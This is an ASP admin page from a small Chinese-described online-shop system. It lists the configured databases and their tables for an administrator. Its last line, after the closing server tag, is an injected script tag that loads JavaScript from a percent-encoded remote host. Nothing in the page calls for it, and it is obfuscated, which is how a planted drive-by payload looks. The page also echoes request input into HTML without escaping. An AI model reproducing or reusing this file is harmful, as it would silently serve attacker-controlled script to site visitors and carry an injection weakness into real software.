shopa_databaseview.asp

vb的一个事例,简单了一点,但实用的一个电子超市系统

<!--#include file="shop$db.asp"-->
<!--#include file="shopa_tools.asp"-->
<%
ShopCheckAdmin
'--- define DSN names in array
database_list=Array("shopping","","")
'--- enable deleting table? -- Carefull!!
strEnableDeleteTable = False
'---- end declaration

'---- do not change code below this line ---------------------------------------------
field_value=Array("Integer","Double","char(255)","Memo","Date","Currency","YesNo")
field_display=Array("Integer","Number","Text","Memo","Date/Time","Currency","Yes/No")

dsn_name = Request("DatabaseName")
If Not dsn_name = "" Then
	'Set con = Server.CreateObject("ADODB.Connection")
	'con.Open "DSN=" & dsn_name
         openDB con,dsn_name
End If
table_name = Request("TableName")
'----- file name--------------------------------------------------------
file = Request.ServerVariables("SCRIPT_NAME")
file = strReverse(file)
pos = Instr(file,"/")
file = Left(file, pos-1)
file = strReverse(file)
AdminPageHeader
'------------------------------------------------------------
response.write "<form action=""" & file & """ method=post>"
response.write "<b><font face=verdana size=3 color=""#008080""><u>Total Database Control</u></font></b><br><br>"
response.write "<font face=Verdana,Arial size=2><b>Database Name: </b></font>"
response.write "<select name=""databasename"">"
For i = 0 to uBound(database_list)
If database_list(i) = Request("databasename") Then
	response.write "<option value=""" & database_list(i) & """ selected>" & database_list(i)
Else
	response.write "<option value=""" & database_list(i) & """>" & database_list(i)
End If
Next
response.write "</select>&nbsp;"
response.write "<input type=submit name=GoDatabase value=go>"
response.write "<hr></form>"
'-------------------------------------------------------------

If dsn_name<>"" Then
        response.write "<form action=""shopa_editdisplay.asp""  method=post>"
	Set table = con.OpenSchema (20)
	response.write "<font face=Verdana,Arial size=2>Table Names in " & dsn_name & ": </font>       <SELECT NAME=Table>"
	While Not table.EOF
		tblName = table("Table_Name")
		If Left(tblName,4) <> "MSys" AND Left(tblName,3) <> "sys" AND Left(tblName,4) <> "RTbl" Then
			If tblName = table_name Then
				response.write "<OPTION VALUE=""" & tblName & """ selected>" & tblName
			Else
				response.write "<OPTION VALUE=""" & tblName & """>" & tblName
			End If
		End If
	table.MoveNext
	Wend
	response.write "</SELECT>"
        response.write "<INPUT type=hidden name=database value=" & dsn_name & ">"
	response.write "<INPUT type=submit name=tableview value=View>"
	response.write "</form>"
       response.write "<br>"



End If
AdminPageTrailer
%><script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>